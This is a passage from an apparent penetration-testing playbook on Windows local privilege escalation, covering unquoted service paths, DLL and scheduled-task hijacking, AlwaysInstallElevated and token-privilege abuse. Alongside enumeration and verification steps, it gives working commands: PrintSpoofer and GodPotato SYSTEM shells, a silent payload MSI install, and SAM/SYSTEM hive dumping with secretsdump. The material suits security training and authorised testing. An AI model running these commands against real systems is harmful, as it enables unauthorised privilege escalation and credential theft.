Verified execution of the earlier executable candidate.
5.2.10.2 Recognition clues
A service command line contains unquoted spaces.
5.2.10.2.1 Find the clue from your starting access
Where to investigate: List service command lines and accounts, then inspect every earlier executable prefix in the actual unquoted path.
Discovery action — reference example:
Access/context: A verified Windows foothold with a known token, integrity level and groups
Conditions, effects and verification
Requires: An earlier executable prefix is absent and creatable, service identity is higher and a start/restart trigger exists
Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.
Stop/verify: Confirm the earlier prefix is actually selected after the trigger and verify its resulting token.
Failure/next check: A quoted path, existing protected earlier file, unwritable directory or absent trigger defeats the chain.
Get-CimInstance Win32_Service | Select-Object Name,StartName,State,PathName
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
StartName: LocalSystem
PathName: C:\Program Files\Vendor App\service.exe -d
Quotes around executable: absent
Recognize this detail: Spaces plus absent executable quoting create candidate earlier prefixes; writable placement and trigger remain unproved.
Still missing before method selection: Read the unquoted service command with sc qc. Check each earlier executable prefix for write/create access with icacls; confirm the service account and restart trigger. Spaces alone do not make the path exploitable.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | A usable earlier prefix is selected at a privileged trigger: choose this parsing route. |
| Ruled out in this context | All earlier prefixes are protected, already occupied or the executable is correctly quoted: reject it. |
| Inconclusive | A scanner flag without prefix/trigger checks leaves exploitability unknown. |
If you do not yet have this clue: start with Establish Windows token, host and process context.
5.2.10.3 Prerequisites
Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: An earlier executable prefix is absent and creatable, service identity is higher and a start/restart trigger exists.
5.2.10.4 Discover and verify prerequisites
Get-CimInstance Win32_Service | Select-Object Name,StartName,PathName
5.2.10.5 Why it works
Windows executable-path parsing may try earlier space-separated prefixes. Spaces alone do not create control; each attempted prefix and its creation rights matter.
5.2.10.6 Execute and choose variants
Get-CimInstance Win32_Service |
Where-Object { $_.PathName -match '\s' -and $_.PathName -notmatch '^\s*"' } |
Select-Object Name,StartName,State,StartMode,PathName
For C:\Program Files\Vendor App\service.exe -d, check every attempted prefix:
icacls C:\
icacls "C:\Program Files"
icacls "C:\Program Files\Vendor App"
sc.exe qc SERVICE
Confirmed only if: path contains spaces and is unquoted; an earlier attempted executable such as
C:\Program.exeorC:\Program Files\Vendor.exeis absent and creatable; service runs higher; trigger exists. A listed unquoted path alone is a false positive.
5.2.10.7 Worked example — hypothetical
Observation: a service uses an unquoted Program Files path. Test: inspect each attempted prefix and its directory ACL. Illustrative output: all earlier prefixes are protected. Interpretation: this is not an exploitable path under the current identity.
5.2.10.8 Verify the result
Confirm the earlier prefix is actually selected after the trigger and verify its resulting token.
5.2.10.9 Failure and fallback
A quoted path, existing protected earlier file, unwritable directory or absent trigger defeats the chain.
5.2.10.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A privileged object appears writable or an ACL tool reports a useful right | Correct trustee/token, object type and effective rights including parents and deny entries | §5.2.6 — Prove effective file, registry and service-object permissions |
| A privileged service consumes a file whose bytes or parent replacement are controllable | Effective file/parent replacement rights, compatible artifact, file-lock handling and available privileged restart/boot trigger | §5.2.9 — Replace a privileged service binary or consumed file |
| A new Windows session or claimed administrator/SYSTEM transition | A functioning command channel and the actual effective token/process context | §5.2.5 — Establish Windows token, host and process context |
5.2.11 Control a privileged DLL, helper or configuration load
Choose when: A privileged application searches for a missing dependency or consumes writable configuration · Result: Verified privileged consumption of the chosen dependency
Blocks: 9. Operational procedure | Quick sheet
5.2.11.1 Purpose and result
Verified privileged consumption of the chosen dependency.
5.2.11.2 Recognition clues
A privileged application searches for a missing dependency or consumes writable configuration.
5.2.11.2.1 Find the clue from your starting access
Where to investigate: Investigate a privileged application with observed dependency failures; if permitted, filter its runtime file loads in Procmon before checking candidate directory ACLs.
Discovery action — reference example:
Access/context: A verified Windows foothold with a known token, integrity level and groups
Conditions, effects and verification
Requires: Actual controlled resolution path, compatible name/architecture/exports and a reliable privileged load trigger
Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.
Stop/verify: Verify the actual loaded path and privileged effect; a file placed on disk is not a completed chain.
Failure/next check: Wrong ABI/exports, earlier trusted resolution or no load trigger blocks the method.
Procmon, when accessible: filter the actual process; inspect requested .dll paths and NAME NOT FOUND results.
Record the exact requested filename and every searched location.
Then inspect the selected location's effective ACL with the owning procedure.
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
PROCESS CreateFile C:\SEARCH_PATH\missing.dll NAME NOT FOUND
Privilege and selected search order: not yet verified
Recognize this detail: An actual requested missing dependency is stronger than guessing a DLL name, but does not prove an attacker-controlled resolution wins.
Still missing before method selection: Validate real privilege, search precedence/KnownDLLs/manifests, directory control, ABI/exports and a load trigger.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The privileged process selects the controlled compatible dependency: choose that load route. |
| Ruled out in this context | A trusted manifest/earlier location resolves it before the writable directory: reject that path. |
| Inconclusive | No runtime visibility leaves loading behavior unresolved; retain it as a candidate rather than declaring hijack success. |
If you do not yet have this clue: start with Establish Windows token, host and process context.
5.2.11.3 Prerequisites
Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: Actual controlled resolution path, compatible name/architecture/exports and a reliable privileged load trigger.
5.2.11.4 Discover and verify prerequisites
icacls "C:\Path\To\Application"
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs"
5.2.11.5 Why it works
DLL loading can involve KnownDLLs, manifests, redirection, packages and explicit search flags before ordinary directories. A missing DLL name or writable directory alone does not establish selection.
5.2.11.6 Execute and choose variants
Confirm:
- exact DLL/helper/config name and architecture;
- privileged process actually requests it;
- selected attacker-writable location precedes the legitimate resolution;
- payload preserves required exports/behavior where necessary;
- reliable trigger exists.
icacls "C:\Path\To\Application"
sc.exe qc SERVICE
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs"
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v SafeDllSearchMode
Modern DLL resolution can apply redirection, API sets, side-by-side manifests, loaded modules, KnownDLLs, package dependencies and application-specific search flags before ordinary directories. Safe DLL search mode is enabled by default. In a suitable lab, Procmon filters for the process,
CreateFile,.dll, andNAME NOT FOUNDprovide decisive runtime evidence; low-privilege remote use may be unavailable.
5.2.11.7 Worked example — hypothetical
Observation: runtime evidence shows a privileged process requests a missing DLL. Test: verify the effective search order and writable candidate location. Illustrative output: a trusted manifest redirects the load elsewhere. Interpretation: reject that candidate and inspect another dependency.
5.2.11.8 Verify the result
Verify the actual loaded path and privileged effect; a file placed on disk is not a completed chain.
5.2.11.9 Failure and fallback
Wrong ABI/exports, earlier trusted resolution or no load trigger blocks the method.
5.2.11.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| An existing C/C++ or platform-specific PoC matches the candidate | Correct compiler/target architecture, runtime dependencies, documented payload constraints and validated exploit-specific constants | §4.1.7 — Compile and minimally adapt an existing native or memory-corruption PoC |
| A privileged object appears writable or an ACL tool reports a useful right | Correct trustee/token, object type and effective rights including parents and deny entries | §5.2.6 — Prove effective file, registry and service-object permissions |
| A new Windows session or claimed administrator/SYSTEM transition | A functioning command channel and the actual effective token/process context | §5.2.5 — Establish Windows token, host and process context |
5.2.12 Control scheduled tasks, startup files or autostart consumers
Choose when: A task/startup action consumes a writable command, file, directory or registry value · Result: Verified privileged task or startup execution
Blocks: 9. Operational procedure | Quick sheet
5.2.12.1 Purpose and result
Verified privileged task or startup execution.
5.2.12.2 Recognition clues
A task/startup action consumes a writable command, file, directory or registry value.
5.2.12.2.1 Find the clue from your starting access
Where to investigate: Enumerate task definitions and inspect the action, principal, arguments and working directory before permission-checking its files.
Discovery action — reference example:
Access/context: A verified Windows foothold with a known token, integrity level and groups
Conditions, effects and verification
Requires: Effective object control, a higher principal and a usable scheduled/logon/manual trigger
Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.
Stop/verify: Check the actual effect and token after the trigger; task-run acceptance alone is insufficient.
Failure/next check: Wrong principal, stale action, denied trigger or a different working directory can invalidate the candidate.
schtasks /query /fo LIST /v
schtasks /query /tn "\FOLDER\TASK" /xml
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Principal: SYSTEM
Action: powershell.exe -File C:\APP\job.ps1
Trigger: scheduled
File control: inspect separately
Recognize this detail: A named privileged task exposes a concrete consumer and action path to investigate.
Still missing before method selection: Read the task's exact action, principal and trigger with schtasks or Get-ScheduledTask. Check icacls on its file/parents and prove the stronger identity will consume the controlled path at a reachable trigger.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The controllable action is consumed under the expected higher token: select the task route. |
| Ruled out in this context | The real principal is the same low user: reject assumed elevation. |
| Inconclusive | Task registration or run acceptance without process/effect evidence leaves execution unresolved. |
If you do not yet have this clue: start with Establish Windows token, host and process context.
5.2.12.3 Prerequisites
Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: Effective object control, a higher principal and a usable scheduled/logon/manual trigger.
5.2.12.4 Discover and verify prerequisites
schtasks /query /fo LIST /v
schtasks /query /tn "\FOLDER\TASK" /xml
5.2.12.5 Why it works
RunLevel Highest selects the configured principal's highest available token; it does not mean SYSTEM. A writable user startup entry usually runs as that user.
5.2.12.6 Execute and choose variants
5.2.12.6.1.1 Find privileged tasks or startup consumers you can influence Scheduled tasks
schtasks /query /fo LIST /v
schtasks /query /tn "\FOLDER\TASK" /xml
Get-ScheduledTask | ForEach-Object {
$t = $_
[pscustomobject]@{
TaskPath=$t.TaskPath; TaskName=$t.TaskName
UserId=$t.Principal.UserId; RunLevel=$t.Principal.RunLevel
Actions=($t.Actions | ForEach-Object { "$($_.Execute) $($_.Arguments) [wd=$($_.WorkingDirectory)]" }) -join '; '
}
}
icacls "C:\Path\To\task-script.ps1"
icacls "C:\Path\To"
schtasks /run /tn "\FOLDER\TASK"
Prove action, arguments, working directory, principal, actual trigger and effective ACL.
RunLevel Highestmeans the configured principal's highest available token, not SYSTEM./runsuccess means the request was accepted; verify process/effect and last-run result.
5.2.12.6.1.1.1 Run keys and startup consumers
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
dir "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
Need a modifiable consumed value/file plus a higher-privileged boot/logon/application trigger. A writable PATH directory matters only when a privileged consumer invokes an unqualified executable through that effective PATH.
5.2.12.7 Worked example — hypothetical
Observation: a writable script is named in a scheduled task. Test: inspect principal, arguments, working directory and trigger. Illustrative output: the task runs as the same low user. Interpretation: it is not a local privilege escalation under that configuration.
5.2.12.8 Verify the result
Check the actual effect and token after the trigger; task-run acceptance alone is insufficient.
5.2.12.9 Failure and fallback
Wrong principal, stale action, denied trigger or a different working directory can invalidate the candidate.
5.2.12.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A privileged object appears writable or an ACL tool reports a useful right | Correct trustee/token, object type and effective rights including parents and deny entries | §5.2.6 — Prove effective file, registry and service-object permissions |
| A new Windows session or claimed administrator/SYSTEM transition | A functioning command channel and the actual effective token/process context | §5.2.5 — Establish Windows token, host and process context |
| Effective SERVICE_CHANGE_CONFIG on a higher-privileged service | Configuration-change right, accessible compatible payload path and a separate start/restart trigger | §5.2.8 — Change a privileged service's executable configuration |
5.2.13 Validate elevated installer policy and administrative-token context
Choose when: Installer policy values or an administrator account with a filtered token · Result: A verified installer-policy execution route or a precise token-boundary assessment
Blocks: 9. Operational procedure | Quick sheet
5.2.13.1 Purpose and result
A verified installer-policy execution route or a precise token-boundary assessment.
5.2.13.2 Recognition clues
Installer policy values or an administrator account with a filtered token.
5.2.13.2.1 Find the clue from your starting access
Where to investigate: Inspect both machine/user installer-policy values and the current token before inferring an elevated MSI or UAC-context route.
Discovery action — reference example:
Access/context: A verified Windows foothold with a known token, integrity level and groups
Conditions, effects and verification
Requires: AlwaysInstallElevated requires both effective machine/user policy values and permitted MSI execution; UAC routes require their own compatible administrator/token context
Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.
Stop/verify: Verify both relevant conditions and actual resulting token; keep UAC-context claims narrower than full privilege escalation.
Failure/next check: One policy value, blocked MSI execution or an incompatible protected token defeats the assumed route.
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
whoami /all
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
HKLM AlwaysInstallElevated REG_DWORD 0x1
HKCU AlwaysInstallElevated: value not found
Recognize this detail: One policy value is insufficient; the two-policy conjunction is the key recognition condition.
Still missing before method selection: For installer execution verify both applicable values and permitted MSI/runtime; assess UAC administrator/token prerequisites separately.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | Both required policies and a compatible permitted installer consumer exist: validate that route's effect. |
| Ruled out in this context | The required user policy is absent/disabled: reject this elevated-installer method. |
| Inconclusive | Policy visibility failure or unknown effective context requires another check. |
If you do not yet have this clue: start with Establish Windows token, host and process context.
5.2.13.3 Prerequisites
Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: AlwaysInstallElevated requires both effective machine/user policy values and permitted MSI execution; UAC routes require their own compatible administrator/token context.
5.2.13.4 Discover and verify prerequisites
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
whoami /all
5.2.13.5 Why it works
Both installer policies must enable the feature. UAC elevation and standard-user-to-administrator escalation have different prerequisites; a token/consent mechanism is not a universal boundary bypass.
5.2.13.6 Execute and choose variants
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Both values must be 0x1:
msiexec.exe /quiet /qn /i C:\Path\To\PAYLOAD.msi
One key or a zero value disproves the route. This is an unsafe installer policy, not a universal UAC bypass.
whoami /groups
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
A UAC bypass normally elevates an already-administrative filtered token. Build/policy-specific bypasses are not a baseline path for a standard user.
5.2.13.7 Worked example — hypothetical
Observation: only the machine installer value is enabled. Test: check the user policy and actual token. Illustrative output: user policy is absent. Interpretation: the elevated-installer route is not enabled; investigate another privileged consumer.
5.2.13.8 Verify the result
Verify both relevant conditions and actual resulting token; keep UAC-context claims narrower than full privilege escalation.
5.2.13.9 Failure and fallback
One policy value, blocked MSI execution or an incompatible protected token defeats the assumed route.
5.2.13.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A new Windows session or claimed administrator/SYSTEM transition | A functioning command channel and the actual effective token/process context | §5.2.5 — Establish Windows token, host and process context |
| whoami /priv exposes a relevant token privilege | The exact privilege and usable operation; impersonation additionally needs a compatible privileged authentication source, OS/service state and executable context | §5.2.14 — Select a privilege-backed impersonation or object-control route |
| An existing exploit/delivery primitive needs a binary or raw payload | Verified target/process architecture, delivery format, callback route, payload constraints and a matching staged/stageless listener | §4.2.9 — Generate a payload matching OS, process, format and handler |
5.2.14 Select a privilege-backed impersonation or object-control route
Choose when: whoami /priv exposes a relevant token privilege · Result: A verified token-backed identity or privileged-object operation
Blocks: 9. Operational procedure | Quick sheet
5.2.14.1 Purpose and result
A verified token-backed identity or privileged-object operation.
5.2.14.2 Recognition clues
whoami /priv exposes a relevant token privilege.
5.2.14.2.1 Find the clue from your starting access
Where to investigate: Inspect the current token's privileges, then map a relevant privilege to an actual protected operation and available source/trigger.
Discovery action — reference example:
Access/context: A verified Windows foothold with a known token, integrity level and groups
Conditions, effects and verification
Requires: The exact privilege and usable operation; impersonation additionally needs a compatible privileged authentication source, OS/service state and executable context
Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.
Stop/verify: Verify the resulting token or concrete protected-object operation, not the tool's success text.
Failure/next check: Missing token source, filtered token, protected process or driver-signing/build differences change the route; inspect the specific prerequisite.
whoami /priv
whoami /all
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
SeImpersonatePrivilege Impersonate a client after authentication Enabled
Recognize this detail: An impersonation capability is present; the privileged authentication source required by a specific tool is not established.
Still missing before method selection: Read whoami /priv and whoami /all. Match the exact privilege, enabled state and token context to the technique's required API/trigger, then verify the resulting identity; the privilege name alone is not SYSTEM.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The required source and privileged token operation work: select that compatible method. |
| Ruled out in this context | The required authentication service/source is unavailable: reject that tool's chain. |
| Inconclusive | Privilege presence alone leaves exploit selection unresolved. |
If you do not yet have this clue: start with Establish Windows token, host and process context.
5.2.14.3 Prerequisites
Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: The exact privilege and usable operation; impersonation additionally needs a compatible privileged authentication source, OS/service state and executable context.
5.2.14.4 Discover and verify prerequisites
whoami /priv
whoami /all
5.2.14.5 Why it works
SeImpersonate, backup/restore, debug, ownership and driver privileges enable different operations. A privilege name does not guarantee a particular exploit tool or a privileged token source.
5.2.14.6 Execute and choose variants
whoami /priv
| Privilege | Required next proof |
|---|---|
SeImpersonatePrivilege | Compatible privileged client/coercion, impersonation level, build/runtime/tool and process creation |
SeAssignPrimaryTokenPrivilege | Useful primary token plus process/quota requirements |
SeBackupPrivilege | Enabled privilege, backup-aware read and useful protected data |
SeRestorePrivilege | Restore-aware write plus privileged consumer/trigger |
SeDebugPrivilege | Usable target process and no protected-process barrier |
SeLoadDriverPrivilege | Compatible signed/loadable driver and stable exploit path |
SeTakeOwnershipPrivilege | Ownership change, then DACL/content control and consumer |
5.2.14.6.1 Impersonation-tool variants
PrintSpoofer64.exe -i -c "cmd.exe"
GodPotato-NET4.exe -cmd "cmd.exe /c whoami > C:\Windows\Temp\token-proof.txt"
Choose by OS build, architecture, runtime and available trigger. A privilege name alone does not select a working “Potato.” Success is a SYSTEM process/effect followed by
whoami /all; connection/token/process errors route back to prerequisites.
5.2.14.6.2 Backup privilege to local credential material
reg save HKLM\SAM C:\Windows\Temp\SAM.hive
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hive
impacket-secretsdump -sam SAM.hive -system SYSTEM.hive LOCAL
Use the matched hive pair. Output is local credential material, not automatic SYSTEM/domain/remote authorization; classify and validate it through the credential procedure.
5.2.14.7 Worked example — hypothetical
Observation: SeImpersonatePrivilege is present. Test: match a documented tool's service/build/trigger requirements to the host. Illustrative output: the required privileged authentication source is unavailable. Interpretation: reject that tool's route while retaining the privilege observation.
5.2.14.8 Verify the result
Verify the resulting token or concrete protected-object operation, not the tool's success text.
5.2.14.9 Failure and fallback
Missing token source, filtered token, protected process or driver-signing/build differences change the route; inspect the specific prerequisite.
5.2.14.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A token has the relevant backup rights and protected registry/files are a useful credential source | Usable backup privilege, compatible backup API/command and a matched protected source set with a writable destination | §5.2.15 — Use backup privilege to obtain protected local credential material |
| A controlled Windows host may hold useful logged-on identities | Required process/host privileges, useful sessions and compatible architecture; PPL/Credential Guard/protection may prevent access or remove material | §6.3.11.5 — Obtain accessible live logon-session credential material |
| An exact vulnerable local component is present after simpler paths are assessed | Affected build/patch/architecture, required service/driver/configuration and compatible exploit assumptions | §5.2.16 — Select a matching application, driver or kernel exploit |
5.2.15 Use backup privilege to obtain protected local credential material
Choose when: A token has the relevant backup rights and protected registry/files are a useful credential source · Result: Matched credential material suitable for offline parsing
Blocks: 9. Operational procedure | Quick sheet
5.2.15.1 Purpose and result
Matched credential material suitable for offline parsing.
5.2.15.2 Recognition clues
A token has the relevant backup rights and protected registry/files are a useful credential source.
5.2.15.2.1 Find the clue from your starting access
Where to investigate: Inspect the actual token for backup-related rights and distinguish a privilege-aware read API from an ordinary file copy.
Discovery action — reference example:
Access/context: A verified Windows foothold with a known token, integrity level and groups
Conditions, effects and verification
Requires: Usable backup privilege, compatible backup API/command and a matched protected source set with a writable destination
Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.
Stop/verify: Verify complete matched source artifacts and exact account mapping after parsing.
Failure/next check: Ordinary file-copy denial does not disprove backup semantics; missing required hives or protection can still prevent useful extraction.
whoami /priv
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
SeBackupPrivilege Back up files and directories Disabled
Recognize this detail: The privilege is assigned but initially disabled; permitted software may enable it for backup-semantic reads.
Still missing before method selection: Check that the privilege can actually be used, supporting API/context, complete matched source set and writable output.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | A permitted backup-aware operation produces matched protected source files: select offline extraction. |
| Ruled out in this context | The token has no required privilege and no alternate read permission: reject this backup route. |
| Inconclusive | Ordinary copy denial does not settle a backup-semantic operation; verify the API rather than inferring absence. |
If you do not yet have this clue: start with Establish Windows token, host and process context.
5.2.15.3 Prerequisites
Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: Usable backup privilege, compatible backup API/command and a matched protected source set with a writable destination.
5.2.15.4 Discover and verify prerequisites
whoami /priv
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa
5.2.15.5 Why it works
Backup-mode read access can bypass ordinary read ACLs through supporting APIs; it does not grant arbitrary execution. Matched registry hives supply the key material required for credential parsing.
5.2.15.6 Execute and choose variants
5.2.15.6.1 Backup privilege to local credential material
reg save HKLM\SAM C:\Windows\Temp\SAM.hive
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hive
impacket-secretsdump -sam SAM.hive -system SYSTEM.hive LOCAL
Use the matched hive pair. Output is local credential material, not automatic SYSTEM/domain/remote authorization; classify and validate it through the credential procedure.
5.2.15.7 Worked example — hypothetical
Observation: a backup-capable account cannot directly read a protected file. Test: use the documented privilege-aware hive-save route. Illustrative output: matched SAM/SYSTEM files are obtained. Interpretation: parse offline and classify the resulting local hashes.
5.2.15.8 Verify the result
Verify complete matched source artifacts and exact account mapping after parsing.
5.2.15.9 Failure and fallback
Ordinary file-copy denial does not disprove backup semantics; missing required hives or protection can still prevent useful extraction.
5.2.15.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| Protected local registry material is available under sufficient host privilege | Matched SAM/SYSTEM from the same system and appropriate read/backup access | §6.3.11.6 — Extract local account hashes from matched SAM and SYSTEM |
| An NT verifier from an appropriate credential source | Correct account/domain and actual NT hash; recovery mode or an accepting NTLM service with required destination rights | §3.1.11 — Recover or reuse an NT password hash |
| A secret-like value, key file, stored hash, challenge response or ticket | Artifact provenance and format; possible local/domain/application identity and compatible protocol | §3.1.5 — Classify the artifact and its identity context |
5.2.16 Select a matching application, driver or kernel exploit
Choose when: An exact vulnerable local component is present after simpler paths are assessed · Result: A justified local exploit and independently verified higher-privilege result
Blocks: 9. Operational procedure | Quick sheet
5.2.16.1 Purpose and result
A justified local exploit and independently verified higher-privilege result.
5.2.16.2 Recognition clues
An exact vulnerable local component is present after simpler paths are assessed.
5.2.16.2.1 Find the clue from your starting access
Where to investigate: Collect OS build/patch and relevant installed driver/application versions before comparing any local-exploit requirement.
Discovery action — reference example:
Access/context: A verified Windows foothold with a known token, integrity level and groups
Conditions, effects and verification
Requires: Affected build/patch/architecture, required service/driver/configuration and compatible exploit assumptions
Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.
Stop/verify: Verify target hostname and resulting effective token; preserve reviewed PoC modifications privately.
Failure/next check: A crash or compilation success does not prove escalation. Wrong build, missing driver or mitigations require another supported path.
Get-ComputerInfo | Select-Object OsBuildNumber,OsArchitecture
Get-HotFix
Get-CimInstance Win32_SystemDriver | Select-Object Name,State,PathName
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
OS build: BUILD
Driver: DRIVER_NAME at DRIVER_PATH
Affected driver version: not yet established
Recognize this detail: The exact component/build is the candidate evidence; an OS-family name or one missing KB is insufficient.
Still missing before method selection: Verify vendor patch state, required driver/service/feature, architecture and PoC assumptions.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The affected configuration and compatible reviewed artifact are confirmed: select the bounded exploit test. |
| Ruled out in this context | The driver/feature is absent or the installed version is fixed: reject that candidate. |
| Inconclusive | An incomplete update inventory leaves vulnerability unconfirmed. |
If you do not yet have this clue: start with Establish Windows token, host and process context.
5.2.16.3 Prerequisites
Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: Affected build/patch/architecture, required service/driver/configuration and compatible exploit assumptions.
5.2.16.4 Discover and verify prerequisites
Get-ComputerInfo | Select-Object WindowsProductName,WindowsVersion,OsBuildNumber
Get-HotFix
Get-CimInstance Win32_SystemDriver | Select-Object Name,State,PathName
5.2.16.5 Why it works
OS family names and missing-update lists are candidate evidence. Vendor patch state, driver version and mitigations determine applicability.
5.2.16.6 Execute and choose variants
Get-ItemProperty 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*',
'HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*' -ErrorAction SilentlyContinue |
Select-Object DisplayName,DisplayVersion,Publisher,InstallLocation
systeminfo
driverquery /v
Prefer deterministic credential/permission/configuration paths. Then verify exact privileged application or driver version/configuration. Use kernel exploits last after exact build, architecture, cumulative update, mitigations, prerequisites, source and crash risk are checked. Avoid
Win32_Product; it is slow and can trigger MSI repair.
5.2.16.7 Worked example — hypothetical
Observation: an enumerator names a driver exploit. Test: inspect the installed driver version and exploit requirements. Illustrative output: the required driver is absent. Interpretation: reject the route and return to permission/application evidence.
5.2.16.8 Verify the result
Verify target hostname and resulting effective token; preserve reviewed PoC modifications privately.
5.2.16.9 Failure and fallback
A crash or compilation success does not prove escalation. Wrong build, missing driver or mitigations require another supported path.
5.2.16.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A product/version clue, advisory or component-specific public PoC | Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect | §4.1.5 — Match a public exploit to the actual component and configuration |
| An existing C/C++ or platform-specific PoC matches the candidate | Correct compiler/target architecture, runtime dependencies, documented payload constraints and validated exploit-specific constants | §4.1.7 — Compile and minimally adapt an existing native or memory-corruption PoC |
| A new Windows session or claimed administrator/SYSTEM transition | A functioning command channel and the actual effective token/process context | §5.2.5 — Establish Windows token, host and process context |
5.2.17 Turn automated Windows findings into manually verified candidates
Blocks: 9. Operational procedure | Quick sheet
5.2.17.1 Purpose and result
A shortlist of permissions, consumers and credential sources to validate.
5.2.17.2 Recognition clues
A Windows foothold is available; run winPEAS or a focused survey for service/task permissions, token privileges and credentials.
5.2.17.2.1 Find the clue from your starting access
Where to investigate: Select a reviewed tool after checking host/runtime; treat each highlighted service, token or path as a lead to native evidence.
Discovery action — reference example:
Access/context: A verified Windows foothold with a known token, integrity level and groups
Conditions, effects and verification
Requires: Verified current token and architecture, a compatible reviewed executable or allowed PowerShell runtime, and a writable report location
Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.
Stop/verify: Read out.txt or the helper report. Use sc.exe qc/sdshow plus icacls for a service, inspect task XML/run-as for a scheduled task, or check whoami /priv for a token finding
Failure/next check: Binary/script blocked or report empty: check architecture and PowerShell language/policy, then use native service/task/ACL checks. A blocked helper does not disprove the finding
whoami /all
$PSVersionTable
$ExecutionContext.SessionState.LanguageMode
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Tool candidate: unquoted SERVICE path
Writable earlier prefix: not checked
Trigger: not checked
Recognize this detail: The enumerator located a configuration clue, not the full usable chain.
Still missing before method selection: Run winPEAS with log output, then inspect the exact reported service with sc qc/sc sdshow and its file with icacls. Check token highlights with whoami /priv. A collector's colored line is not the resulting elevated token.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The native checks establish the complete method conditions: select its owning route. |
| Ruled out in this context | Protected prefixes or a low consumer disprove the proposed elevation: discard the finding's exploit interpretation. |
| Inconclusive | Tool blocking/partial visibility leaves enumeration incomplete; use native/application-specific checks. |
If you do not yet have this clue: start with Establish Windows token, host and process context.
5.2.17.3 Prerequisites
Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: Verified current token and architecture, a compatible reviewed executable or allowed PowerShell runtime, and a writable report location.
5.2.17.4 Discover and verify prerequisites
whoami /all
$PSVersionTable
$ExecutionContext.SessionState.LanguageMode
5.2.17.5 Why it works
winPEAS, PrivescCheck, Seatbelt and PowerUp collect different evidence. Highlighted services or privileges still require exact ACL, token, identity and trigger checks.
5.2.17.6 Execute and choose variants
winPEASx64.exe log
Seatbelt.exe -group=system -outputfile="C:\Windows\Temp\seatbelt-system.txt"
Seatbelt.exe -group=user -q -outputfile="C:\Windows\Temp\seatbelt-user.json"
powershell.exe -ExecutionPolicy Bypass -Command ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Report TXT,HTML"
Import-Module .\PowerUp.ps1
Invoke-AllChecks
